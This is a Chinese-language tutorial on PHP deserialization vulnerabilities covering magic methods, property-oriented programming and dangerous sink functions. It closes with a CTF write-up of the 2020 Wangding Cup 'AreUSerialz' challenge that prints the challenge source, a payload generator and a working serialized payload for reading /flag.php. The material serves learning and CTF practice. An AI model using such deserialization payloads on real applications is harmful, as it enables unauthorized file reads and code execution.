漏洞原理:

序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象。如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行,getshell等一系列不可控的后果。

serialize()         //将一个对象转换成一个字符串
unserialize()       //将字符串还原成一个对象
#触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法.
​
__wakeup()      //对象被序列化之后立即执行
__construct     //构造函数,在实例化类的时候会自动调用#在创建对象时触发
__destruct()    //析构函数,通常用来完成一些在对象销毁前的清理任务#在一个对象被销毁时调用
​
__toString()    //需要一个对象被当做一个字符串时调用
__call()        //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据
__set()         //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()时触发
__unset()       //在不可访问的属性上使用unset()时触发
__invoke()      //当尝试以调用函数的方式调用一个对象时触发
 

Web安全之PHP反序列化漏洞-LMLPHP

漏洞利用思路:

对象中的各个属性值是我们可控的,因此一种PHP反序列化漏洞利用方法叫做“面向属性编程”(Property Oriented Programming).与二进制漏洞中常用的ROP技术类似,在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets.在PHP的POP中,对应的初始化gadgets就是wakeup()或者是destruct(),在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。
一些需要特别关注,跟进的函数:
RCE:

exec(),passthru(),popen(),system()

File Access:

file_put_contents(),file_get_contents(),unlink()

真题 2020网鼎杯-青龙组-AreUSerialz

题目给了源码:

<?php
​
include("flag.php");
​
highlight_file(__FILE__);
​
class FileHandler {
​
    protected $op;
    protected $filename;
    protected $content;
​
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
​
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
​
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
​
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
​
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
​
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
​
}
​
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
​
if(isset($_GET{'str'})) {
​
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
​
}
​

跟踪destruct()发现存在对op这个变量存在全等于验证,当op为字符串2值时op被强行赋值为字符串1

,导致后面直接进入写操作,故用$op=2绕过

另外调用了process(),关联read()和write()两个函数,一个读,一个写

想要拿到flag需要通过read()读到/flag.php

$op=2绕过第一层判断进入读操作

  if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        }
 

然后就是GET方法传参str,发现存在一个is_valid()验证函数,过滤了提交的参数中数据ASCII码<32且>125的字符

根据信息生成实例:

<?php
 class FileHandler{
    public $op = 2;
    public $filename="/flag.php";
    public $content;
}
    $a = new FileHandler();
    $b = serialize($a);
    echo($b);
    ?>

运行生成payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}
05-19 10:34